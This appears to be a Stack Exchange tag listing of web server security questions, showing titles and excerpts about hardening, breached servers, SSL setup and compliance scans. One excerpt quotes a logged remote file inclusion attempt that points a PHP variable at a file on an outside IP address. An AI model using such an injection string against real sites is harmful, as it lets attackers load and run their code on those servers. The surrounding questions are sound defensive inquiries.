A system whose primary function is to deliver web pages on request to clients.
6
votes
2answers
86 views
Isolating Web application hosted on same web server
I am working on a scenario if we have two or more web application hosted on a same server. Let says Web application X is vulnerable so how can i be sure that it will not effect the other web ...
5
votes
3answers
175 views
How to block an IP, if getting many http requests in a second
If some one tried force burst attack on my website, how can I block them?
I mean, I want to block an IP if I have many http/Apache requests in a second.
Thanks in advance.
1
vote
1answer
97 views
How safe is WSIT username authentication with symmetric key?
I have an ajax-ws web service (exposed via glassfish) that uses username authentication with a symmetric key to encrypt and authenticate clients(link).
How secure is this mechanism? Is this enough to ...
4
votes
3answers
142 views
Failed PCI-DSS Compliance | Submitting Evidence
One of our web servers that is managed by a service provider (completely in their control, we have no login access) just failed PCI-DSS vuln. scan by TrustKeeper. The vuln scan detected the box as a ...
-6
votes
1answer
94 views
Hacker problems - They stole my backups [closed]
I am facing an issue where hackers are seeking to compromise two of my servers. They succeeded in wiping out both and stealing my backups. I had off-site backups and I am back online. Nonetheless, I ...
2
votes
2answers
60 views
Can clients execute my python CGI at will?
I have a site where the main database is interacted with via python scripts located in public_html\cgi-bin\. To run commands, various JavaScript scripts, located in \public_html\scripts\, use jQuery ...
2
votes
2answers
77 views
How to protect source code that resides on virtualbox web server which starts at boot?
I installed CentOS 6 on a 3gb virtualbox disk. It hosts a web server which starts automatically when the OS boots. No user login required. When it boots, it is given an IP and the host machine can ...
-2
votes
3answers
52 views
Do Mobile Device Management solutions provide a mechanism for an internal website to know what kind of device is connecting? [closed]
Is there any mechanism in mobile device management solutions that would allow a web server (for an internal, authenticated system, e.g. SharePoint) to know that a request is coming from a mobile ...
3
votes
1answer
70 views
Has a HTTP server access to SSL session ID?
I want to know if a HTTP server (Apache, nginx etc.) can access a SSL/TLS session ID. Assume we have some hardware which does only SSL/TLS and behind a webserver which sends and receives the requests. ...
18
votes
3answers
607 views
Does password-protecting a server's BIOS help in securing sensitive data?
I'm running a server of which I protected the BIOS with a password. One doesn't have to enter this password before booting, but before entering the BIOS setup. I just did this from routine. However, ...
-1
votes
0answers
11 views
Sophos access a webserver from the web [migrated]
I have an web server(IIS) behind an SOPHOS UTM 9
I have setup the Web Application Firewall feature
It is a completely fresh install. No other settings have been eddied.
When I Try to access the ...
47
votes
15answers
5k views
How is “hacking” even possible if I “defend” properly?
On a Linux-based server, I follow basic practices as below:
Make the admin account password long and complicated enough (i.e. theoretically speaking, password cannot be cracked within reasonable ...
1
vote
2answers
95 views
secure certain data on my webserver
I've developed a website where people add their sensitive data. Not credit cards, but lets say they share things about themselves which are private and it wouldn't be good if other people see that ...
2
votes
4answers
251 views
htaccess hacked
I have a dedicated server. A few minutes ago I realized that someone has changed the .htaccess file.
How can I protect against that kind of attack?
Update: I have no code/site live, only a coming ...
1
vote
3answers
129 views
Implication of URL injection in an URL shortener service
EDIT There have been upvotes retracted or downvotes due to, I think, a serious misunderstanding of my question. In the following I'm not concerned about the URL leading to a site containing malware ...
4
votes
3answers
276 views
Server root attack?
Someone in Hungary tried something odd recently:
/?_SERVER[DOCUMENT_ROOT]=http://94.199.51.7/readme.txt?
This is the partial URL from my log, showing the page they went to. They gave my site's URL ...
1
vote
1answer
55 views
Recognizing malicious URL attempts against your website
On serveral websites I've run, I periodically see URLs run against my servers that look like this:
/url_result?ctw_=sT,een_j...tdmlydXMtc2NhbS1lb........
Does anyone recognize it? I've tried to ...
3
votes
3answers
183 views
Monitoring for security threats
I host and maintain several websites. The users pay to have their sites maintained and secured. However, with the amount of web applications like joolma, wordpress, ect... and their plugins, I need a ...
3
votes
3answers
611 views
Is it possible to execute a php script in an image file? [duplicate]
I have an image upload php website. Users can upload images to my website. A user claims he can hack my website using an uploaded image.
I opened all the images that he uploaded to my server with ...
2
votes
1answer
66 views
How to do security configuration for ibm http server?
We are using IBM HTTP Server Version 7.0
Need help related to Cross Site Scripting Prevention in IBM http server.
Cross Site Scripting Prevention in Sun Java System Web Server 7.0 mentioned in ...
0
votes
2answers
91 views
Create a SSL certificate and sign it with a personal certificate which in turn is signed by a certificate authority [duplicate]
I have a personal certificate which is signed by a certificate authority. This certificate is unrestricted with respect to its allowed purposes. Is it possible to create a SSL server certificate on my ...
1
vote
2answers
93 views
Statistics of attacks on unhardened Web Server
Suppose my web server is on the public internet.
It's not behind firewall hardware.
It does use HTTPS, and it has its OS firewall software turned on - but this is the only security mechanism in place. ...
4
votes
4answers
416 views
What are the disadvantages of Tor?
I've just started using Tor recently, and I'm not sure exactly what security issues come with the benefits.
What should/shouldn't I be worried about (in both everyday normal-web browsing use, in ...
3
votes
2answers
100 views
How could this file have been modified?
I was recently asked to help make a few modifications to an old ASP Classic website.
At one point I was looking at the page source while debugging some JavaScript and noticed a div full of links to a ...
-2
votes
2answers
84 views
Automatic robot crawler to check web pages authenticity?
Our servers seem to be commonly hacked, mostly injecting malicious codes/frames to our web pages or changing downloadable files with backdoors and so on.
Is there any tool that can crawl our website ...
0
votes
3answers
90 views
Odd Server Logs
I have a webapp running using Django. I recently activated some middleware which is supposed to alert me of 404's where the referrer is within my domain (supposedly indicating a 404 that is my fault).
...
3
votes
2answers
168 views
How to remember a trusted machine using two factor authentication (like Google's system)
We are developing a web application that will use two factor authentication. We are likely to try and emulate something similar to that used by google, where to login you enter a username and ...
12
votes
2answers
636 views
How to not reveal that you are using PHP?
I'm bulding a website but some webtools and browser plugins allows anyone to get information on which technologies the website has been built. Is there any Alternative to not reveal that we are ...
11
votes
4answers
6k views
What ciphers should I use in my web server after I configure my SSL certificate?
There are many great questions that ask what is the best certificate to use for a website; but once the certificate is purchased, there is also the possibility to choose or edit the Cipher list.
...
0
votes
3answers
123 views
If my server was compromised, is my database safe?
I have an AWS instance running a rails app that I don't actively maintain. Since I didn't keep track of what was going on with this app, I didn't update it promptly when all the rails vulnerabilities ...
0
votes
1answer
137 views
How Twitter got hacked and preventing [closed]
I have been seeing in the news recently that Twitter (including Wall Street Journal and New York Times) got hacked by a sophisticated hacker (group), but I would have assumed they would have ...
-5
votes
2answers
231 views
PHP injection on 777 file [closed]
Some one has modified a PHP file, which had permissions set to 777, on my VPS server.
How can someone do that without administrative access to the server?
What information I can give you?
I know ...
4
votes
3answers
360 views
How do you detect load balancing?
Scenario
You need to PenTest XYZ.com.
You expect, because it is a high traffic site, that multiple servers are being used with a load balancer.
Question
Aside from pulling the MACs (which are ...
1
vote
1answer
88 views
Mitigation Strategies for Response Spliting Attack
I am not going into basics of HTTP response splitting attack as above figure completing describes the working of such a attack. Previous Post have also discussed working of such a attack ASP.NET ...
-1
votes
1answer
62 views
setting up website for logged in users, anyone, and files no one should see (via the web) [closed]
I asked how to prevent not logged in users from seeing certain content but the solution I chose to implement encountered a problem. I chose to make my root directory for the server C:\WAMP\www\public ...
0
votes
2answers
149 views
Is there an easy way to secure Apache on debian?
I run an Apache webserver with lots of PHP-sites of several customers.
I tried install apache-mod_security2 after this (german) tutorial
that is using these rulesets: ...
2
votes
3answers
220 views
Is it possible to list folder from my web server if i have an empty index.html in the root folder?
I have a small mongoose web server installed on my machine. I have a empty index.html in the root directory.
I want to be able to share link with people i know, by creating a folder that look like ...
2
votes
1answer
123 views
How to secure or (Ensuring Integrity) of Web Data in transit and in store?
Consider (usual scenario) You own a Shopping Cart Website and hosted on Internet, now, your hosting company provides you database to store your data.
If talking about security, we need it for:
...
3
votes
7answers
1k views
Server compromised for 2nd time, cannot locate source of attack
I need some help tracing a vulnerability on my server. For the second time, my server has been compromised with files being replaced with virus-ridden downloads.
According to the filesystem dates, ...
1
vote
2answers
124 views
HTTPS Certificate mismatch alert before redirection
Let's analyze the following situation:
A server is hosting 10 websites: site1.com - site10.com.
Only one of these websites uses SSL -site1.com.
If you try to access site2 - site10 over https the ...
2
votes
1answer
81 views
Quick Security Mitigations to Impending attacks
Suppose you are the sysadmin, and you know of an impending attack that just started or about to start soon. You can either wait it out, or try a few tricks and quick mitigation to fend off attackers ...
5
votes
1answer
2k views
Creating a “key server” (HIPAA compliance with AWS)
I'm a part of a small company that is going to be implementing HIPAA compliance. We will be seeking legal counsel, etc so anything heard here will not be taken as legal advice, etc. I just want to ...
5
votes
1answer
181 views
How should I store SSL keys on the server?
I have a Node.JS HTTPS webserver instantiated as follows:
var privateKey = fs.readFileSync('./../ssl/localhost.key').toString();
var certificate = ...
0
votes
0answers
66 views
Client Side Negotiation
I have -MultiViews set and SSLInsecureNegotation off ( in ifmodule of mod_ssl.c) in Apache.
But still vulnerability report says I am vulnerable to client side renegotiation and "This server is ...
0
votes
2answers
179 views
How to restrict web access to certain countries
What are the better ways of filtering access to the web application based on Geographical location. Is it possible with a network layer firewall or we need an application layer?
9
votes
5answers
2k views
What is the best practice for placing DataBase servers in secure network topologies
I have a classic DMZ architecture:
My webserver is placed in the DMZ.
The webserver needs to communicate with a database server. This database server is the most critical component of my network ...
11
votes
7answers
503 views
Online Government Elections System - Is it possible?
I am from Bulgaria and currently some groups here are promoting the idea of referendum among the people, about the possibility for establishing a system for ONLINE GOVERNMENT ELECTIONS. The idea is ...
10
votes
4answers
621 views
Security measures against packet sniffing
I work in a environment where packet sniffing can be easily done . I was worried about my confidential data . Please suggest how is it done and precaution which i can take at client level.
7
votes
2answers
84 views
Can other customers on shared hosting see requests from/to my site?
I installed a wiki on my shared webhosting (using Apache) account. This wiki is set to private (no read/edit/create rights for unauthorized users) and I'm the only one with an account.
The wiki ...
2
votes
2answers
223 views
How can I trace Hacking attempt
First of all I dont want to track the hacker. I want to track if the system is being compromised some way. For example when a website is under attack it'll receive malicious data. I want to check ...
